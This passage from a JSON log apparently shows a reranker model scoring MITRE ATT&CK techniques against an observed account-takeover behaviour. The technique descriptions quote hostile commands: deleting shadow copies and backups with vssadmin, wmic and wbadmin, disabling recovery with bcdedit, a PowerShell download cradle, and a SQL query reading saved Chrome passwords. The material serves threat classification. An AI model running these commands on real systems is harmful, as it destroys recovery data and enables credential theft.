in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1539", + "score": 0.99609375, + "rank": 0 + }, + { + "item_id": "T1550.004", + "score": 0.98828125, + "rank": 1 + }, + { + "item_id": "T1185", + "score": 0.9453125, + "rank": 2 + }, + { + "item_id": "T1078", + "score": 0.5, + "rank": 3 + }, + { + "item_id": "T1217", + "score": 0.439453125, + "rank": 4 + }, + { + "item_id": "T1056", + "score": 0.34765625, + "rank": 5 + }, + { + "item_id": "T1555.003", + "score": 0.29296875, + "rank": 6 + }, + { + "item_id": "T1589.001", + "score": 0.2109375, + "rank": 7 + }, + { + "item_id": "T1606.001", + "score": 0.10693359375, + "rank": 8 + }, + { + "item_id": "T1555", + "score": 0.09033203125, + "rank": 9 + }, + { + "item_id": "T1606", + "score": 0.06787109375, + "rank": 10 + }, + { + "item_id": "T1204", + "score": 0.0311279296875, + "rank": 11 + }, + { + "item_id": "T1557", + "score": 0.029296875, + "rank": 12 + }, + { + "item_id": "T1589", + "score": 0.02587890625, + "rank": 13 + }, + { + "item_id": "T1610", + "score": 0.0111083984375, + "rank": 14 + }, + { + "item_id": "T1176.001", + "score": 0.01043701171875, + "rank": 15 + }, + { + "item_id": "T1056.003", + "score": 0.01043701171875, + "rank": 16 + }, + { + "item_id": "T1588.002", + "score": 0.00811767578125, + "rank": 17 + }, + { + "item_id": "T1041", + "score": 0.004364013671875, + "rank": 18 + }, + { + "item_id": "T1005", + "score": 0.003387451171875, + "rank": 19 + }, + { + "item_id": "T1059", + "score": 0.0031890869140625, + "rank": 20 + }, + { + "item_id": "T1176", + "score": 0.0031890869140625, + "rank": 21 + }, + { + "item_id": "T1528", + "score": 0.00299072265625, + "rank": 22 + }, + { + "item_id": "T1587.001", + "score": 0.002899169921875, + "rank": 23 + }, + { + "item_id": "T1598.003", + "score": 0.0026397705078125, + "rank": 24 + }, + { + "item_id": "T1036.012", + "score": 0.0023956298828125, + "rank": 25 + }, + { + "item_id": "T1674", + "score": 0.0021820068359375, + "rank": 26 + }, + { + "item_id": "T1608", + "score": 0.0021209716796875, + "rank": 27 + }, + { + "item_id": "T1056.002", + "score": 0.00186920166015625, + "rank": 28 + }, + { + "item_id": "T1204.005", + "score": 0.0018157958984375, + "rank": 29 + }, + { + "item_id": "T1505", + "score": 0.00150299072265625, + "rank": 30 + }, + { + "item_id": "T1565.002", + "score": 0.00150299072265625, + "rank": 31 + }, + { + "item_id": "T1597.002", + "score": 0.00141143798828125, + "rank": 32 + }, + { + "item_id": "T1566", + "score": 0.00128936767578125, + "rank": 33 + }, + { + "item_id": "T1608.005", + "score": 0.00124359130859375, + "rank": 34 + }, + { + "item_id": "T1505.003", + "score": 0.00124359130859375, + "rank": 35 + }, + { + "item_id": "T1659", + "score": 0.0012054443359375, + "rank": 36 + }, + { + "item_id": "T1204.002", + "score": 0.0012054443359375, + "rank": 37 + }, + { + "item_id": "T1608.002", + "score": 0.00116729736328125, + "rank": 38 + }, + { + "item_id": "T1219.003", + "score": 0.00116729736328125, + "rank": 39 + }, + { + "item_id": "T1608.004", + "score": 0.00113677978515625, + "rank": 40 + }, + { + "item_id": "T1584.006", + "score": 0.001068115234375, + "rank": 41 + }, + { + "item_id": "T1218.005", + "score": 0.001068115234375, + "rank": 42 + }, + { + "item_id": "T1584.008", + "score": 0.00096893310546875, + "rank": 43 + }, + { + "item_id": "T1204.003", + "score": 0.00096893310546875, + "rank": 44 + }, + { + "item_id": "T1053.007", + "score": 0.00096893310546875, + "rank": 45 + }, + { + "item_id": "T1668", + "score": 0.000942230224609375, + "rank": 46 + }, + { + "item_id": "T1204.001", + "score": 0.000885009765625, + "rank": 47 + }, + { + "item_id": "T1593.002", + "score": 0.000885009765625, + "rank": 48 + }, + { + "item_id": "T1593.001", + "score": 0.000885009765625, + "rank": 49 + }, + { + "item_id": "T1027.009", + "score": 0.000885009765625, + "rank": 50 + }, + { + "item_id": "T1102", + "score": 0.00083160400390625, + "rank": 51 + }, + { + "item_id": "T1218.015", + "score": 0.0007781982421875, + "rank": 52 + }, + { + "item_id": "T1195.001", + "score": 0.000732421875, + "rank": 53 + }, + { + "item_id": "T1189", + "score": 0.0006866455078125, + "rank": 54 + }, + { + "item_id": "T1140", + "score": 0.000667572021484375, + "rank": 55 + }, + { + "item_id": "T1554", + "score": 0.000667572021484375, + "rank": 56 + }, + { + "item_id": "T1036.005", + "score": 0.00058746337890625, + "rank": 57 + }, + { + "item_id": "T1110", + "score": 0.000553131103515625, + "rank": 58 + }, + { + "item_id": "T1105", + "score": 0.000537872314453125, + "rank": 59 + }, + { + "item_id": "T1596.003", + "score": 0.000457763671875, + "rank": 60 + }, + { + "item_id": "T1127.002", + "score": 0.0004444122314453125, + "rank": 61 + }, + { + "item_id": "T1082", + "score": 0.0003452301025390625, + "rank": 62 + }, + { + "item_id": "T1681", + "score": 0.0003452301025390625, + "rank": 63 + }, + { + "item_id": "T1200", + "score": 0.0003452301025390625, + "rank": 64 + }, + { + "item_id": "T1685.003", + "score": 0.0003452301025390625, + "rank": 65 + }, + { + "item_id": "T1596.005", + "score": 0.0002956390380859375, + "rank": 66 + }, + { + "item_id": "T1596.004", + "score": 0.0002460479736328125, + "rank": 67 + }, + { + "item_id": "T1677", + "score": 0.0002460479736328125, + "rank": 68 + }, + { + "item_id": "T1485.001", + "score": 0.0002307891845703125, + "rank": 69 + }, + { + "item_id": "T1070", + "score": 0.0002307891845703125, + "rank": 70 + }, + { + "item_id": "T1027.017", + "score": 0.00021648406982421875, + "rank": 71 + }, + { + "item_id": "T1070.008", + "score": 0.000179290771484375, + "rank": 72 + }, + { + "item_id": "T1036.010", + "score": 0.00016880035400390625, + "rank": 73 + }, + { + "item_id": "T1597.001", + "score": 0.00014019012451171875, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 26541 + } + }, + "evidence_sha256": "3fa935ffa6c30a862dd8f7df2321e6224623f4351dd2145d6df3ec615bd83e6b" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 880.9, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: do things such as change passwords, disable Google Workspace notifications, dump emails, change SSH session keys in GitHub, and download all code repositories" + }, + "items": [ + { + "id": "T1490", + "text": "ATT&CK technique: T1490 Inhibit System Recovery\nDescription: Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery. This may deny access to available backups and recovery options. Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact. Furthermore, adversaries may disable recovery notifications, then corrupt backups. A number of native Windows utilities have been used by adversaries to disable or delete system recovery features: * vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet * Windows Management Instrumentation can be used to delete volume shadow copies - wmic shadowcopy delete * wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet * bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no * REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system * diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all On network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations. On ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support Data Encrypted for Impact, preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`). Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services. In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.\nTactics: impact\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: After attackers gain access to the target system, they go on to make the system vulnerable by deleting backups, disabling antivirus software, and changing configuration settings." + }, + { + "id": "T1606", + "text": "ATT&CK technique: T1606 Forge Web Credentials\nDescription: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain. Once forged, adversaries may use these web credentials to access resources (ex: Use Alternate Authentication Material), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: * **NiiJ Stealer -** A very basic stealer to steal passwords from popular tools like Firefox, Opera, Chrome, FileZilla, etc and send to the C&C panel." + }, + { + "id": "T1110", + "text": "ATT&CK technique: T1110 Brute Force\nDescription: Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to Valid Accounts within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as OS Credential Dumping, Account Discovery, or Password Policy Discovery. Adversaries may also combine brute forcing activity with behaviors such as External Remote Services as part of Initial Access. If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.\nTactics: credential access\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Additionally, credential information can come from logs tied to infostealer malware, password spraying or other credential marketplaces in the criminal underground." + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: Aside from keystroke logging, the M00nD3VLoggerhas the ability to steal confidential information such as browser passwords, FTP client passwords, email client passwords, DynDNS credentials, JDownloader credentials and capture Windows Keystrokes, as well as gain access to the webcam and hook the clipboard." + }, + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: The group selling Taurus claims that this stealer is capable of stealing passwords, cookies, and autofill forms along with the history of Chromium- and Gecko-based browsers." + }, + { + "id": "T1078", + "text": "ATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks." + }, + { + "id": "T1033", + "text": "ATT&CK technique: T1033 System Owner/User Discovery\nDescription: Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information. On network devices, Network Device CLI commands such as `show users` and `show ssh` can be used to display users currently logged into the device.\nTactics: discovery\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * Computer and usernames" + }, + { + "id": "T1528", + "text": "ATT&CK technique: T1528 Steal Application Access Token\nDescription: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS\nLabeled report example: * Stealing session files from applications, including Discord, Steam, Telegram, and Authy" + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: According to Proofpoint research, while TA453 does appear to have elevated privileges allowing them to create credential harvesting pages at soasradio[.]org, other pages on the site continue to host legitimate SOAS-affiliated content." + }, + { + "id": "T1195", + "text": "ATT&CK technique: T1195 Supply Chain Compromise\nDescription: Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of source code in open-source dependencies * Manipulation of software update/distribution mechanisms * Compromised/infected system images (removable media infected at the factory) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims. Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. In some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component. This may allow the threat actor to spread to even more victims.\nTactics: initial access\nPlatforms: Linux, SaaS, Windows, macOS\nLabeled report example: The disclosure detailed the activities of an advanced persistent threat (APT) adversary that was able to gain access to SolarWinds systems to create trojanized updates to the Orion platform between March 2020 and possibly as recently as December 2020." + }, + { + "id": "T1217", + "text": "ATT&CK technique: T1217 Browser Information Discovery\nDescription: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).\nTactics: discovery\nPlatforms: Linux, Windows, macOS\nLabeled report example: PurpleWave is capable of stealing credentials, autofills data, card data, cookies, and browser history from Chromium and Mozilla." + }, + { + "id": "T1005", + "text": "ATT&CK technique: T1005 Data from Local System\nDescription: Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.\nTactics: collection\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: * Stealing Telegram session files" + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: But attackers also use Discord, often to distribute malicious files and steal information." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Once the attacker gains access to the machine, the following files are uploaded:" + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: A reply chain attack is when threat actors hijack real email threads and utilize legitimate email messages stolen from victims’ email applications." + }, + { + "id": "T1114", + "text": "ATT&CK technique: T1114 Email Collection\nDescription: Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients.\nTactics: collection\nPlatforms: Linux, Office Suite, Windows, macOS\nLabeled report example: * Email password stealer (MailPassView)" + }, + { + "id": "T1041", + "text": "ATT&CK technique: T1041 Exfiltration Over C2 Channel\nDescription: Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: However, the C2 server is also providing commands to extract a victim’s email contact list using Nirsoft’s OutlookAddressBookView, which is downloaded from the following locations:" + }, + { + "id": "T1082", + "text": "ATT&CK technique: T1082 System Information Discovery\nDescription: An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes. Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`. Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.\nTactics: discovery\nPlatforms: ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: CyberGate allows an attacker to browse and manipulate files, devices, and settings on the victim's machine as well as download and execute additional malware." + }, + { + "id": "T1565", + "text": "ATT&CK technique: T1565 Data Manipulation\nDescription: Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nTactics: impact\nPlatforms: Linux, Windows, macOS\nLabeled report example: CyberGate allows an attacker to browse and manipulate files, devices, and settings on the victim's machine as well as download and execute additional malware." + }, + { + "id": "T1125", + "text": "ATT&CK technique: T1125 Video Capture\nDescription: An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen. In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: Its capabilities range from logging keystrokes to executing commands, stealing credentials, and capturing microphones and webcams." + }, + { + "id": "T1531", + "text": "ATT&CK technique: T1531 Account Access Removal\nDescription: Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts. Adversaries may also subsequently log off and/or perform a System Shutdown/Reboot to set malicious changes into place. In Windows, Net utility, Set-LocalUser and Set-ADAccountPassword PowerShell cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`). Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as Data Destruction and Defacement, in order to impede incident response/recovery before completing the Data Encrypted for Impact objective.\nTactics: impact\nPlatforms: ESXi, IaaS, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1098", + "text": "ATT&CK technique: T1098 Account Manipulation\nDescription: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.\nTactics: persistence, privilege escalation\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1114.002", + "text": "ATT&CK technique: T1114.002 Remote Email Collection\nDescription: Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords.\nTactics: collection\nPlatforms: Office Suite, Windows" + }, + { + "id": "T1087.003", + "text": "ATT&CK technique: T1087.003 Email Account\nDescription: Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs). In on-premises Exchange and Exchange Online, the Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session. In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.\nTactics: discovery\nPlatforms: Office Suite, Windows" + }, + { + "id": "T1555.003", + "text": "ATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, 